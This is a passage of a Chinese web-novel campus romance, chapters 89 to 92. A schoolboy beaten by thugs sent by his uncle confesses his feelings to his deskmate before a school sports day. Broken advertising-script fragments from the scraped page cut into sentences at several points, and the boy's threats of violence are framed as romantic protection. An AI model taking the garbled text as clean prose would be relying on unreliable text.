“这是一笔交易,选择权在你。” 江灼一整个愣住,简直不敢相信自己遇到了一个贵人。 他不敢接那支钞票,可一想到母亲,他什么也顾及不了了,上前双手接了过来,哽咽道:“谢谢您,等我完成自己的事,我回来给您当牛做马。” 一直不苟言笑的老人笑了,只是那笑意很浅。 热风卷着细沙掠过众人,飞向天际。 深蓝的天空,没有一片云 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 朵,只有一个炙热的太阳。 地表温度高,躬身站在江全驰右下方的江权清眯了眼。 江灼的母亲手术很成功,他如约来到对方给他提供的地点。 看着那栋占地近几百平方米的豪华欧式复古别墅,他久久没有回神,直到那扇站比他高出三四米的铁门缓缓打开,他眨了一下眼,走了进去。 硕大的宛若庄园一般的独立别墅,不管是修剪绿化带的园艺师傅,还是管家,亦或者私人医生通通都被专业训练过。 保镖们个个人高马大,他那时才清楚,原来那二十万块钱仅仅只是买他一个试用期。 倘若他不在短时间内迅速变强,那他就不能继续录用。 江灼已经走到了这份上,他只有不断地变强,然后成为一条听话的狗。 — 江砚头上的布袋被扯下,尽管在听到声音的那一刻就已经震惊过一回,可天光乍亮时,看清站在不远处的那个中年男人,还是忍不住问了一句:“为什么?” 他的这一身本领就是跟着江灼练就的,对方算得上是他的半个师傅。 在今天之前,他一直以为,他们师生情谊虽不重,但也不轻。 江灼直视着这个少年,神情凌然,他没有回答他的话,而是按照江权清吩咐的那样,说:“只需要你签个字就可以,你让不让出那百分之二十的股份?” 江砚强压下愠怒,紧紧盯着人:“除非要我的命……” 话音未落,离他最近的一个男人就踹了一脚。 “我看你是不见黄河不掉泪,你爷爷都那样了,江财集团显然已是江总的囊中物。” “他老了,你还小,你二叔管理公司理所应当啊。” 说着他又踹了一脚。 江砚咬紧牙关,弓着腰,闷哼一声。 “好了。”江灼出声制止,“到时候踹出人命了,你坐牢不要紧,牵扯到江总的话,你觉得他会放过你吗?” 那位男人被训得脸一白,往后退了几步,低下头说:“江哥教训的是。” “但是这好不容易逮到他出校,我们就这样放过他?” 另一个个子稍矮一点的男人不满出声。 江灼一眼扫了过去,对方当即做鹌鹑样。 “至于如何与江总说,是我的事情,别多嘴,走吧。” 他虽然已经年近中年,但五官深邃,依稀可见年轻时的英俊帅气。 说话不高调,不嚣张,性格含蓄内敛。 他没看地上的人一眼,率先转身走了。 原地的几人互相对视一眼,才跟了上去。 “这小子嘴真硬,撬都撬不开。” “真搞不懂江哥的想法,要我说,就该打断他的腿,他必定老实。” “小点声儿,如果你还想要这份工作,谁不知道,他江灼现在是江总最为器重的人,我们只有听话的命……” 话音渐渐模糊,到后面便什么也听不到了。 江砚这时才吐出一口粗气,双手撑住身后的墙壁,缓缓站起身。 落日消失在地平线,天空从铅灰渐变成黑灰。 不远处的路灯泛着冷白的光,行人匆匆。 幽深狭窄的小巷没有光亮,孤身站立的少年,背影瘦削,被黑暗吞没。 90. 羁绊(校园) 维持着那个微微侧身低头的姿势好久都没有动。 周围角落里堆着杂物,冷风从巷口吹来,簌簌地吹动着他的校服衣摆。 已入晚秋,他穿得薄,里面一件简单的白t,外面的校服拉链没拉上,现在衣服上面斑斑驳驳地落着沾了一些灰和脚印。 撕扯灼烧的刺痛感源源不断地,密如细雨一般传遍全身。 一呼吸,针扎式的电击感让他硬生生中途停下。 江砚薄唇抿成一条直线,挺立分明的眉毛拧做一团,脸下拉着,下颌线绷成一把凌厉的刀锋,咬了一下后槽牙。 冷风如刀片不停地刮蹭着耳朵外轮廓,寒冷遍布四肢百骸。 江砚松了拳头,在这样的时刻,突然特别想他那个的同桌,想她在温暖的阳光下对他投来的一个盈盈的笑。 月辉清冷地泼洒在时间久远,泛黄掉皮的墙壁上,江砚没来由的,脑子里只有一个念头,就是去见她…… 那种掏空灵魂的疲惫感似乎有了一点能量,他没有在黑夜中沉沦,转身深一脚浅一脚地,艰难地往巷口走去。 一次也没有回头…… — 与张悦她们道别后,程三好离开舞蹈室,却没有走上广场,再从广场进入教学楼,从教学楼又回到宿舍楼这条路。 这样走较近,但她每次都与朋友们走相反的方向,也就是舞蹈室所在的这栋建筑房屋后面的一条柏油马路。 这条柏油马路就在东门旁边,平时学生们都来这里排队取快递。 而这一条沥青路一直绵延伸长,经过艺术厅,体育馆,会一直到达他们高一的教学楼,直至食堂门口。 平时没什么人走,地面特别干净,只有两侧铺着红砖的人行道和马路相连的地方,会堆积着一些落叶。 她下了楼梯,转过身往舞蹈室后面的路上走,行过一个小缓坡,她抬眼,忽然看见马路对面,路灯旁边站着一个人。 他没再像以往一样,穿着敞开的校服外套,双手插在裤袋里,微抬下颌懒散地站着。 男生的校服外套拉链一路拉到衣领顶端,双手放在外套的两个兜里,站得不直,肩膀向前,弓着背。 看到她也不意外,眼睛直直地与她对视,像是早早就等候在此了。 程三好不到一秒就离开视线,她眼睫快速地闪动一下,手中握着的书包背带已经变了形。 低头,像是没注意到江砚正在看她,抬腿下台阶,走在柏油马路的一侧。 她向前,经过江砚身前,没有停留。 道路两旁都种着成排成排的桂花树,枝叶浅发黄,风一吹落下,被卷着飞向了远方。 程三好一直走到艺术厅旁边,突然停下脚步,中指指甲一下又一下地划着大拇指指腹。 过了一秒或者两秒,她倏然转过身,拔腿就跑。 书包不重,就是跑起来不大方便。 她完全顾不了那么多,沿着原路返回,等到了舞蹈室后面那段路,她看见男生正要转身往东门的方向走,不知为何急忙喊了一声:“江砚……” 男生抬脚的动作一顿,他收回来,转过身看着去而后返的女生。 程三好胸膛还在起伏,呼吸有些急促,她站在道路中间,看着人行道上的江砚。 二人之间隔着点距离,她说完那句却安静下来,过了好一会儿,才踌躇着开口:“没事吗?” 江砚的眼睛就没从女生身上离开过半点。 她扎着丸子头,可能因为跳舞的缘故,已经散了些,脸上没有戴着眼镜,没有戴着口罩,露出了一张素白的,又纯又乖的鹅蛋脸。 书包是浅绿色的,一件香芋紫的格子毛衣下,是一套完完整整的校服着装。 她瘦,清清冷冷地搁那儿一站,很好看。 像是要将她现在的模样烙印在心间,男生多看了几眼,良久,他移开视线,嗓音落在黑夜里很轻。 “我没事。” 他的耳朵被冻得通红,头发在风的吹拂下略显凌乱。 额前的碎发几缕翘起,露出英气的眉骨。 薄凉的眼皮略向下,深邃的眼眸里依旧像含着一块冷霜,感受不到一点温度。 整个人瞧着和平日里没有任何一点区别,反正就是挺无所谓,冷冷淡淡的。 程三好现在离近了,却一眼就看出了不对。 那眉间分明在隐隐克制着什么…… 当看清他衣服上沾染着的泥色脚印,她手指蜷缩,一下走了过去,抬脚站到人行道上,正面看着江砚,距离他只有五十公分左右。 今天的江砚很不对…… 程三好绷着唇,脸色看上去很平静,实际上向前伸去捏住江砚衣服的手都在颤抖。 她低着头,紧紧拽着他外套上有脚印的布料,问他:“……他们打你了?” 江砚这个角度看不清女孩子低着的脸,他直不起身,一直有点肩膀扣着向前的姿势。 他闻言,揣兜里的手指一动。 “……没有。” 女生不发一言,抬起头,松开手,转瞬抬高手臂就要去拉他的衣服拉链。 江砚情急之下,急忙伸出手按住她,阻止她的行为。 程三好要微微仰头才能看到他的脸,而就是这一个角度,她视线从男生脸上下意识移到他脖子处。 那双骨节分明,细长笔直的手此时多处手指骨淤青,发紫,布满伤痕。 他的手很好看,干净清爽,指甲平日里也修剪得平整,尤其当他待得无聊时,下意识点着桌面的那个动作,程三好每次都被吸引,偷瞄一眼。 现在,看不出它本来的样子……它遍体鳞伤…… 尽管已经猜到了什么,做好心理准备,也仅仅只看到他露出手上的伤口,没看见其他的地方。 程三好在看清的瞬间,却一下子绷不住了,哭着说道:“他们打你了对不对?江砚……” 她眼眶发红,泪水滚烫,一滴一滴地砸在地面。 江砚抓紧了怀里的手,也许是女生的眼泪太烫了,烫得他理性全无,生出了私心,生出了卑鄙…… 今天下午送完江波,他本来是想,要回到学校,来舞蹈室门口堵住人,然后抓住她的手腕,把她带到一旁。 跟她说:“我是不是做什么让你不高兴的事了?你说,我就改。” “你可不可以不要躲我,可不可以不要疏远我。” 明白了自己的心意,他就愿意低头,愿意妥协。 他抱着期待,就向江波所说的那样,以后二人可以一起念书,一起好好长大。 他那时就已经想到了以后,他对未来有了憧憬。 然而现实却给了他当头一棒,当他毫无还手之力地躺在冰冷的,又黑又脏的地面上,被江权清的那些狗追着咬上来。 他忽然就生出了一种退缩。 江家如今内部乱作一团,他尚不能幸免,如果牵涉女生进来,指不定会有危险。 他们拿他的软肋威胁他那一刻,他当真能坚守住,等到爷爷醒来嘛。 因为喜欢,所以心疼,他绝对不允许她因为他而有所受伤。 他甚至觉得,她成绩那么好,参加完高考后,考个好大学,读个好专业,与普通人交往,幸幸幸福地生活在一起,也比跟着他强。 江家的水太深,未来他肯定会与江权清正面刚上,他不能为着一己私欲,去耽误人家女孩子。 回来的路上,他就是这样不停地劝诫自己,警告自己,一定要将所有的情感隐藏起来,压在内心深处,不让它有宣泄出口的机会。 然而所有的心理建设,在看到女生为他哭起来的一瞬间,碎裂得一塌糊涂。 父母去世,他没有哭,孤身一人来到完全陌生的城市读书,他也丝毫不为之所动。 可在此刻,听着那哭声,他几度哽咽,想说点什么话安慰女孩子,却也只是苍白地吐出几个字。 “……我不疼。” 程三好听着此话,一下哭得更伤心了。 她的哭不是那 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 种放声大哭,嚎着嗓子,是那种怎么压也压不下去却依旧竭力在忍着的细小哭泣。 因为在忍,所以她的肩膀抖动得非常厉害,喉间时不时泄露出几声压不住的哭腔。 她很愧疚,认为是自己的别扭疏忽,才让江砚被罗坤叫的人打伤。 她似乎做错了事,不敢抬眼看他。 “……都是我的错。” “对不起……” 二人一时之间,都没有说话。 路灯的光打在路面,在寂寂的黑夜里是唯一的光源所在。 空气中起了风,吹动他们的头发。 — 几分钟后,江砚已经强迫自己冷静了下来,几经周转犹豫不决的问题最终得到了他想要的答案。 他的手还保持着覆盖住女孩子手的姿势,大拇指摩挲了一下女生细腻光滑的手背。 见前面的人没再哭,也冷静了些许。 他解释:“我的这些伤不是罗坤打的,还记得上一次在食堂门口堵住我的那几个人吗?” 程三好吸了吸鼻子,眼神还有点懵,下意识说:“记得……” 江砚看着她这副神情,眼睛表面的冰霜有所融化。 “他们是我二叔江权清派来的……我的爷爷只有一个孩子,也就是我的爸爸。” “我祖母去世得早,他也没打算再娶她人,在我父亲六岁那年,他不知从哪儿抱回来了一个弃婴,也就是江权清。” “江家不差多一个人口吃饭,再加上爷爷他工作忙,总是愧疚自己陪伴孩子的时间少,索性就认养了那个弃婴,让他成为我父亲的弟弟,二人有个伴。” “虽然他是捡来的,江家上上下下也都清楚他的来历。但我父亲一直将他看作亲弟弟,爷爷也当他是自己的儿子。而一切转折的开端,源自我父亲违背爷爷的意愿,毅然决然地选择成为一位地质学家,这就意味着家族里那么大的产业,一下就没了继承人。” “而这时所有的目光都汇聚到了江权清身上,他与我父亲截然不同,低调内敛,温文尔雅,不论是负责什么项目或者带领什么团队都格外地出色。” “但我爷爷他是一个观念很传统的老人,江权清毕竟不是他亲生的,所以他做不到,也不想江家产业交给他。” “为着点愧疚,他给足了他待遇,后来更是将用心建设公司交给他,让他担任首席执行官,给了最大的权利。” “然而江权清这个人野心勃勃,他不满足于此,我父母去世,爷爷一病倒,他就开始动作,想要成为江氏企业的掌权人,所以为着我手中百分之二十的股份,他几次三番派人来堵我。” “后面见说不服我,就会像现在这样动手。因为我一时疏忽大意,去到了校外,在那里没有了学校这一份保障,他们就肆无忌惮动了手。” “这所有的一切,都是我们家族里的内斗,与你没有关系,所以你不要愧疚,你没有错……” 程三好全程静静地听他说完,既震惊于小说里的情节发生在了现实,也心疼他被卷入纷争,父母还去世了,但听到了最后,还是没忍住问了一句:“那你当时怎么不告诉我?” 江砚没想对她撒谎,直言道:“我当时与你不熟。” 话下意思就是,因为不熟,所以懒得解释,也是很符合他的性格了。 程三好听他这么说,倒是没生气,问出了自己心中的疑惑:“那除了你二叔派来的那些看上去比较专业的人以外,你还遇到了其他的人吗?” 江砚揣摩着她这句话,不是很理解,但似乎他们灵魂上天生就很契合。 他语气笃定:“你能这么想,是因为罗坤他对你说了什么吗?” 程三好沉吟片刻,思忖着开口:“就在你被他打了过后,那天上体育课,他找到我,跟我说你的嘴角的伤是被他揍的,而且接下来他还会让你吃尽苦头,话里话外的意思,就是我猜测,他可能会找帮手。” “我因此一直很担心,结果听你这么说,我也有点不太懂了……” 91. 炽热而直白(校园) 她说完,江砚反倒将一切事情都串了起来。 首先是他被罗坤偷袭,嘴角伤口被她看到,女生大概那时就已经猜出来了,是罗坤动的手。 因为愧疚,出于责任,她就在下晚自习后,默默跟着他。 阴差阳错之下就在那一次帮了他的忙,而他一向不喜欢欠人人情,所以在与江波通话的过程中,让他帮自己个忙,就是能想点办法弄弄罗坤,让他短时间之内回不到校园。 而罗坤之前想来应该和女生说了什么,大概就是叫人来收拾他,又阴差阳错之下因为江波的插手,所以他没成功。 一切都有迹可循,江砚想到这里,有些感慨。 他不是会向女生邀功的人,所以就只是说:“他不是被人举报了吗?所以就没得逞,这样说就通了。” 程三好点头,她也是这么想的。 她做这个动作,身体会前后微微晃动,一顿一顿地,显然很认可。 江砚看着,半晌忽而道:“好,那接下来该我算算账了。” “什么?” 江砚这人眼神直白,话语也直白,很多时候行为也非常直白。 就比如现在,那眼神直白到有点侵占性:“你这段时间为什么躲我?” 说起这件事情,程三好眨眼睛的频次快起来,有点不自在,想要抽回自己的手,结果没抽动。 她扭头不看人,说:“……我没有。” “……嗬哼……” 耳边传来一声轻笑,闷闷的,低低的。 程三好咬紧嘴唇内壁软肉,神色越发不自在。 江砚不急不慢地引导着人,刻意倾身向前,靠近她,压低声音说道:“是害羞还是单纯讨厌我?” “……” 男生敛着目光:“如果你不说,我会一直以为是自己做了什么事,让你不开心了,我会愧疚……” 他这一招可谓是对症下药,猛地击穿了程三好好不容易垒起来的墙壁。 简直摸透了她的性格,知道怎么说会让她心软。 程三好有一些自暴自弃,神色愧疚:“……对不起,我真的很小心翼翼了。” “我小心地揣着这颗心脏,按住它,不让它为你的某些行为跳动,也竭力地告诉自己,我们只是朋友,也只让自己把你当做朋友看待……结果还是对你动了心,喜欢上了你……” 她苦涩一笑:“明明是朋友,却对你有这种龌龊的想法,让你感到很恶心了吧?” “所以我尽量远离你,接下来我也会主动调座位,不与你靠近,你放心。” 她能在这件事上产生那么消极的想法,其中最主要的原因就是受了罗坤的影响。 罗坤和她军训相处期间,她一直把他当做朋友看待,结果后来他说,他喜欢自己,然后跟着他,触碰她。 程三好那时不懂喜欢是什么心情,她只有不开心,她很反感那样的行为,感到不适。 于是她在察觉自己喜欢上江砚后,自己将那时的感受自主代入了江砚的感受。 总是不免想起罗坤骚扰她自己的那段时间难受的感觉,所以她只能远离江砚,不希望自己的行为也让他感到恶心。 她说完,垂着眼皮,再度收回自己的手。 这一次很轻松,对方没拉她。 程三好哪怕早已预料到会这样,但当那一刻到临时,还是感到难过了。 她低头看着地面,双手捏紧书包肩带,抬脚转身欲走,就听旁边的男生说话了。 “我表现得不明显吗?” 程三好扭头看向他,却见江砚手摸着下巴,一脸自我怀疑。 “我喜欢你这件事,不够明显?” 说着看进程三好的眼睛里,唇角勾起个笑:“那要不要我现在说一遍?” 程三好耳朵里什么也听不进去,只有一颗心脏发出的扑通扑通的快速跳动声。 她人都还懵着,却本能地害羞,连忙摇头说:“不用不用……” 夜已经深了,周六下午虽然不用上晚自习,但是宿舍有关门时间。 江砚似乎觉得女生每一个行为都很可爱,眼里的笑意就一直没下去过。 他伸手想提过女生的书包给她背着,程三好又急忙摇头:“不用不用。” 两人走在道路右侧,江砚偏头看着人,决定还是把话说得更为清楚一些。 “你说我是一个好同桌,但我不是,程韵清,” 他停下脚步,眼睛很认真:“我就像大家口中所说的那样,性格的确又冷又傲,很操蛋,很不好惹,我也的确是懒得去应付这些人际关系,甚至同理心也要比常人低出很多。” “很多时候,不止别人说,就连我自己都觉得,我是天生冷情的人,除了我在乎的人外,我共情不了一点悲伤,对任何人也提不起兴趣,直到你的出现……” “当你将我拉到自己身后那一刻,我的心里第一次有了波动,生出了一种怪异的感觉。然后随着了解的深入,发现你出奇地可爱,当看见你没有戴着口罩之下的脸在阳光下笑起来的那一瞬间,我承认,我心动了。” “……嗯,这么说好像是因为看到了你的脸见色起意……我不否认这一点,因为你真的长得很漂亮,但我心动不仅仅如此。” “你很有人格魅力,特别好,我放任你的靠近,清醒着让自己沉沦,这一些都是我喜欢你的证明。” 他说的真诚,一下子给足了女生安全感。 程三好是开心的,但那高兴持续不到一秒被心中陡然生出的忧虑替代。 可能是因为两人这近乎裸露一般的坦白,让两颗心一下子没了隔阂,靠近了很多。 她犹豫了片刻,终究还是说出了口,她说:“江砚……我不能早恋。” 男生挑眉,没想到她这么说。 “我抱你了吗?” 程三好害羞:“……没有。” “那我亲你了吗?” 程三好熟透了:“……没有。” “那我们就不算早恋。” 江砚一本正经,眼见前面的女孩子要羞愤到爆炸,收了攻势,不逗人了。 他说:“我知道,我懂你,我也不允许你早恋……” 他笑:“成年人的事就该成年后去做,当下我们是学生……我有的是耐心,可以等你慢慢长大,这期间我不会打扰你,也不会影响你学习,我只当我们是朋友,就这样相处可以吗?” 程三好心里悬着的一块大石头落下,她没想到,他能为她做到这个地步,一时间竟然有些感动。 她放松了很多,没有了误会,整个人变得和以前一样。 女孩子终于笑起来:“你长得这么帅就算了,还这么通情达理。好了,从今天开始,你就是我的天使同桌!” 她开始闹他,就说明心里没有了疙瘩,是真的没思虑了。 江砚也乐于她这样,似乎只要她高兴,他也就跟着高兴。 两人并肩走着,一直到宿舍楼面前,站在玻璃门外。 大厅里的灯光投射到外面,程三好站在台阶下,突然喊了江砚一声。 男生扭头,目光询问。 女生不偏不倚地与他对视,轻声说了句。 “程三好。” “什么?”江砚不理解。 女孩子有些羞涩地笑:“……我叫程三好,这是我的真名……你要记住了。” “行,好好是吧?” 江砚站在台阶上,这样俯身看人时,眉目很深情。 他一开口,不是叫她的全名,也不是叫她三好,而是一下就碰巧叫准了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她的小名。 那是只有她极为亲近的人才能叫的。 程三好张了张嘴,片刻,还是点了头。 然后快走几步,与他一同往里面走。 推开玻璃门,宿舍厅堂里很亮,头顶的灯光在脚下白色的瓷砖上像颗小星星。 “人长得这么漂亮就算了,名字还那么好听。” “……” “不要模仿我,我并不会承认你模仿得很到位……” 年少的喜欢很纯粹,不参杂妄念,更想并肩而行。 可能就如江波所说那般,他们天生一对,配得不能再配。 — “试卷发下去,大家自觉点,尽量不要翻书做,到时候我会让生物课代表收起来交给我,我要批改的。” 第二天,温度骤降,大家都穿上了羽绒服,生物老师李芳站在讲台上,看着试卷往后传,叮嘱。 试卷发下来,并不是现在就做,而是让他们带回去做,这节课时间也不够,索性就上课,讲解新的知识点。 “上节课我们说到,生物体内的有机物在细胞内经过一系列的氧化分解,最终生成二氧化碳或其他产物,并且释放出能量的总过程,叫做呼吸作用。那同学们还记得,呼吸场所是在哪儿吗?” “线粒体——” “非常棒,看来大家下去后还是用了心的,那我们今天接着讲解相关知识点。” “生物的生命活动都需要消耗能量,这些能量来自生物体内糖类、脂类和蛋白质等有机物的氧化分解……” 李芳这个老师很善于抛问题,引导学生们去剖析知识背后产生的原因。 一节四十五分钟的课,因为注意力集中,没留意就结束了。 程三好上课的期间,试卷就写得差不多,下课铃声一响,最后一道大题刚好做完。 她将试卷夹在生物书里和上,趴在桌子上开始补觉。 昨晚回去后,可能因为实在太过激动,她几乎一宿没睡,闭着眼睛直到夜后四点才睡着,没过几个小时,六点过就又挣扎着起床要去上早自习。 脑袋搁在手臂上,脸朝着江砚这一边。 睡了几秒,没睡着,她睁眼,却见帅气同桌也趴在桌上,和她一样的姿势,正在看她。 两人在教室角落最后面的一张桌子上,周围有人说话,但他们之间很安静。 谁也没有移开目光。 “小熊猫。”看着看着,江砚突然说了这么一句。 发现他真的很爱用小动物视化自己,程三好反击:“大熊猫。” “小傻鱼。” “大灰狼。” “小狐狸。” “大……大帅哥。” “怎么还耍赖?” “夸你还不行?”程三好瞅着人,“不要得寸进尺。” 她哼着,表情不服气。 “行,”江砚视线似乎往下面看了一眼,复而抬起眼皮,“好好说什么都对。” 他姿态懒散,这样看人,少年冷俊的五官格外突出。 嗓音不大,因为只说给一人听,不低沉,是带着点磁性。 他随口一说,程三好却随意听不了一点。 她埋下头,抬起,声音很小。 “你不是说不影响我吗?” 江砚实属没想到女孩子在这方面这么不经逗。 听着她略显抱怨的语气,一下痞笑出声:“这么霸道啊?” 程三好目光飘忽,虽然脸热,但她这人很容易路走窄了。 “也不全是你的问题,可能是我定力不足。”她反思,细密鸦黑色的眉毛蹙着。 江砚直起身,右手肘支在桌面,掌心覆面。 “……” 程三好瞟了一眼,慢吞吞地也坐直了。 92. 妍丽女生(校园) 中午去食堂排队打饭,站在窗口前,二人一前一后,还有点不自在,直到坐下吃饭,氛围才正常了一些。 “江砚,”程三好吃着饭,抬起头,好奇,“我发现你好像什么都吃,有没有特别喜欢的?” 大多时候,男生面容都是冷冷的,他淡声道:“还没交往,不能打探底细。” 程三好脖子后仰,别扭,但没放弃:“就是有点好奇,跟那没关系,说说嘛。” “不能说。” “为什么?”大概就是被偏爱的都有恃无恐,一向不喜欢追问别人的女生现在想“打扰”一下对面的男生。 江砚漫不经心:“要是你好奇我的点,我都说了,哪天你没了兴趣,厌烦了,去找别的男生怎么办。” “……”是程三好想不到的脑回路,她竟然有点佩服地点头。 然而点到一半,看到什么,突然顿住,眼睛直直地盯着大门处。 她坐的位置在第三排偏过道边,背对着窗口,只要抬眼,可以清楚看到食堂大门的情景。 大门旁边是一排的绿色垃圾桶,而现在,罗坤就站在那里看着她。 对方并没有久待,倒完饭盘中的剩饭转身出了食堂。 程三好握着筷子的手一下捏得更紧,本能地咽了一下口水。 江砚久久没有听着她说话,抬眼看她,见她神色紧张,一副坐立不安的样子。 他放下筷子,语气关心:“怎么了?身体不舒服?” 程三好没了胃口,也将筷子放下,垂着目光:“我刚才看见罗坤了。” 江砚眉头几不可见地皱了下,食堂吵闹,他只问:“不吃了?” 女生心不在焉,摇了摇头。 江砚点头,站起身,端起二人的饭盘,说了句:“先去外面。” 两人往外走,他将盘子放到大门边的水槽里,掀开透明门帘,离开了食堂。 一直走到安静一点的空地上,江砚停下步伐,转过身看着人。 “程三好。” “……嗯?” “我得跟你说件事。” “啊……嗯。” 江砚不笑的时候,脸色是真的冷,眉峰很凌厉。 他除了对面前的女生神色有所缓和,大多时候,他依旧和之前一样不近人情。 此刻他神情冷肃,这样看着人,程三好有点不敢对视。 “虽然我说过,我不与你早恋,但……仅仅建立在不影响你学习的基础上,身份上,我可一直默认,我是你未来的男朋友。” 他靠近人,嗓音很冷:“我看你似乎还没搞清楚,我说了,我不是一个好同桌,从你去而后返决定跑向我时,你就逃不掉了。” “现在,你应该担心的是罗坤,万一我没收住手,把他打死。” 程三好大气不敢踹,不明白他说这话的意思。 江砚目光敛着冷意:“我之前是因为不想惹事,懒得与人纠缠,所以才有所收敛。但现在,今时不同往日,要是让我发现他对你有一点不尊重,我会动手;你害怕不跟我说,我也会对他动手,知道吗?” 程三好听到这里什么都明白了,他在给她安全感和守护感。 如果江砚面色缓和地跟她说一些什么,不要害怕,不要担心的话,她可能还是会陷入被罗坤骚扰的阴影里。 但是,他没有,他神情严肃,没有夸大说自己如何厉害,他就是为了告诉她。 她身后有他在…… 她有依靠,不再是孤立无援的处境。 心里那颗心脏又不听话了,程三好有点捱不住。 他明明没有在说情话,却比情话动听…… 抬眼见江砚还是冷然地看着她,程三好小心揣着那颗泡在温泉里的心脏,瞥了一眼周围,确定没什么人,才伸手拉住他的袖子,因为害羞,她低着头,轻声说:“我都听你的……” “……” 男生没动,眼睛向下盯着那个脑袋,未几,他仰头,看向旁处,另一只手撩了一把额头的碎发。 — 几天后,就是运动会,连续三天可以不用上课,大家自然是十分愉悦。 虽然罗坤返校,但转班了。 程三好从那天在食堂见过,就再也没碰到过他。 早上七点,来的人并不多。 江砚坐在最后一排,低头写着试卷,他参赛的项目在明天下午,所以他还穿着校服,外面一件黑色的冲锋衣。 黑色衬得他冷峻的五官更添几分漠然,握着笔的手上淤青已经散得差不多,细长而笔直。 “我靠……” “哇——” 教室里忽然起了不小的轰动。 前门处走进来好几个穿着水蓝色裙装的女生,她们统一穿着水手服,有的扎着马尾,有的披散着长发,有的是短发,每个女生美得各有特色。 班上的男生眼都看直了,一时之间不知道看谁才好。 渐渐地,空荡的教室被人员填满。 一溜烟看过去,大多数女生穿着裙子,待会儿都要去表演节目。 “你们这衣服多少钱啊?” “真是要冻死了,还说我们男生呢要风度不要温度,你们穿着这裙子也是够呛啊。” 周边的男同学都在好奇地问前后女生,大家东一句西一句地聊着。 江砚全程就像是没听到教室内的轰动一样,头都没抬一下,就是抬手看了一眼手表。 而就在这时,教室外的走廊上,迎面走来一个女生,步履悠然,身形纤瘦。 那双腿又细又直,马尾竖着,脸颊两侧碎发自然。 尽管她戴着口罩,但那没戴眼镜下露出来的眉眼就已经非常好看。 她远远看着音乐老师正要往教室里走,就小跑起来,进入教室,只到膝盖上面一点的裙摆如一朵莲花微微摇曳。 她白得晃眼,可能是因为很少晒太阳的缘故,与旁边的女生好似不在一个图层,一出现,又引起了一片骚动。 “哇——” 大多数人都还是比较光明的,就是对美的赞赏,少有的几个男生有点浑,吹了吹口哨。 程三好平日里喜低调,最不喜欢被人注视,更何况这么一番明晃晃的骚动。 她绷着唇,捏紧了书包肩带,一言不发地往后面走去。 空气中传来清新的淡橙味儿,江砚感知到什么,从书中抬头看去。 女生正好走到他们的前桌旁边过道,对上他的眼睛,眼尾就勾出个笑,亮亮晶晶的。 她在女生当中属于个子不高不矮正合适的那种,水蓝色的水手服外面罩着一件宽松的校服外套,波浪卷边的白袜包裹着的一双腿瘦而不柴。 向他款款走来的那几秒,整个世界像是被按下了暂停键,周围一片灰色,只有她是唯一的色彩。 程三好穿不惯裙子,比起需要时时刻刻提防自己是否走光的穿搭,她就乐意把自己放在宽松舒适的长衣长裤包裹起来,又舒适又很有安全感。 她没注意江砚看她的眼神,径直绕过他,回到自己的座位上坐下。 教他们跳舞的音乐老师正从第一排依次往后,给要上场的女同学们化妆。 左边空位上的主人来了,江砚转着笔,目光放在上面,嗓音淡:“我还以为你不来了?” 程三好低头正在将书包塞进桌肚,闻言回他:“我那么好,怎舍得帅气同桌一个人留在教室呢。” “那你可真善良,我是不是得夸夸你?” “夸就不用了,我有一件事拜托你。” 程三好放好书包,这才边说边扭头看向江砚。 他正面坐着,程三好只能看着他的侧颜。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 看清他今天的穿着,她目光一顿,心里有点热,收回视线却又忍不住瞄了一眼。 江砚转笔的手一停,笔端搁在桌面发出细微的声响,转瞬食指下勾,水性笔落在掌心。 没看人,他说:“怎么帮?” 程三好只觉得黑色与江砚搭得不能再搭,让他本来就冷然的气质多了几分贵气,比起冷感,更多的是不露声色的凌厉感,就连嗓音也听着比平日里磁性。 这就是扑面而来的荷尔蒙,程三好差点被迷昏头,急忙稳住声线说:“待会儿上场经过观众席台前,我们要留下来表演舞蹈,我是穿着校服去的,想把校服交给你保管。” “行。” 江砚见音乐老师朝他们这桌走来,主动站起身,让出空位,抱手站在一边。 音乐老师人长得温柔,声音也非常温柔,给她脸上化着妆,不忘夸赞道:“你这皮肤真好,平时见你戴着口罩远远地看不清楚,今天近距离一看,不仅白,还很嫩哎。” 程三好闭着眼睛,说:“谢谢老师。” 音乐老师笑着,给她打上带着点绿粉绿粉的眼影,又给她用玫红的口红涂唇。 完了,她站起身,细声叮嘱:“待会儿不能再戴口罩了哦,不然会蹭花妆,还有你这外面的校服也不能穿哦,影响整体的一个队伍协调,知道吗?” 她话语实在是太温柔了,那个调调程三好一辈子也学不会,她不由自主地变乖,点头嗯了一声,说:“好。” 人走后,想到不能带校服去操场,她低头叹气。 “要到我们班出场了,老师让我们现在就去操场。”班长在前面通知大家。 程三好急忙准备将校服外套给脱了。 江砚没有再回到座位上,他就站在桌子旁,等女生一起。 看见她低头,纤细的手指握住校服拉链,缓缓向下拉开,挣脱手臂,脱下外套,露出身体全部的样子。 那上衣是一件修身露脐的短t,女生总穿着宽松的整套校服,平日里看不出什么,但今天这一套以白色为主,水蓝色镶边的水手服却将女生身材完美地展露出来,该有的地方一点不少。 她脱下校服后,转身弯腰将它塞进桌肚,背影就这么明晃晃地暴露在江砚的视线里。 那裙子的腰线处,竟然还夹着两个文件夹,可见女生的腰有多细。 放完衣服,扭身抬眼瞧他。 她本就是淡颜系的长相,音乐老师没给她化浓妆,就是画得很克制,恰到好处。 平日里的纯变作欲,明明只是随意地,随性地,淡淡扫过来一眼,却像是含着春水,波光潋滟。 “哎,你怎么先走了?” “江砚,江砚——” 程三好疑惑,怎么刚才在等着她一起走的男生突然转身往教室外走,叫了两声,那人头也不回。 — “好,我们能够看得到,接下来向我们迎面走来的,是高一二十一班。” “他们昂首挺胸,做恣意少年,于操场挥洒着泪水,于教室挥舞着笔墨,他们是四十个班级当中盛开出的一朵花,青春洋溢是他们的代名词,班级口号是:他们二的可能是灵魂,但一的一定是成绩!” “让我们再度欢迎二十一班这群可爱的同学,而接下来他们带来的节目是一个舞蹈,叫做《black》,期待他们的表现——” 舞蹈时间不长,很快就结束了。 